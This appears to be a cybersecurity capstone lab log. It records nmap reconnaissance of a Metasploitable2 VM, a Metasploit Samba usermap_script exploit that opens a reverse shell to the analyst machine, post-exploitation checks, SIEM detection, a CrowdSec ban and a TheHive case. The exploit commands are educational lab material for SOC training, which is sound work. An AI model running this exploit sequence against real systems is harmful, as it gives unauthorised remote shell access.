Commands and Outputs

This file documents commands executed during the capstone with brief "why" explanations.

System Context

Ubuntu 24.04 in UTM on Mac (ARM64)

Target: Metasploitable2

Analyst VM IP: 192.168.64.18

Target IP: 192.168.64.6

1. Network Discovery / Recon (Nmap)

Why: Identify exposed services and likely attack surface before exploitation.

nmap -sV -T3 192.168.64.6

Key findings noted:

- 139/445 Samba (high-risk on legacy targets)
- 22 SSH (used later for brute-force detection simulation)

2. Metasploit Installation & Verification

Why: Required to run the Samba usermap_script exploit module.

sudo snap install metasploit-framework

msfconsole --version

3. Metasploit Exploitation (Samba usermap_script)

Why: Controlled exploitation to simulate attacker behavior for SOC detection/response exercise.

Inside msfconsole:

use exploit/multi/samba/usermap_script

set RHOSTS 192.168.64.6

set LHOST 192.168.64.18

set PAYLOAD cmd/unix/reverse

run

Expected success signal:

"Command shell session 1 opened"

Post-exploitation validation inside the shell:

whoami

id

uname -a

4. SIEM Visibility (Elastic / Kibana)

Why: Validate detection pipeline and confirm events appear in SIEM.

Kibana URL used: http://127.0.0.1:5601

Detection reference time used in report: Feb 27, 2026 @ 11:45:45.000

5. Containment (CrowdSec IP Ban)

Why: block attacker source after detection.

sudo cscli decisions add --ip 127.0.0.1 --duration 4h --type ban

sudo cscli decisions list

Reference time used: start_at: 2026-02-27T11:51:15Z

6. Case Management (TheHive)

Why: Create an incident case with observables and tasks to document lifecycle & enable SOAR workflow.

TheHive accessed via: http://127.0.0.1:9000

Case created:

- SSH Brute Force Attempt – Feb 27 2026
- Observable: attacker IP (127.0.0.1)
- Tasks: validate, contain, verify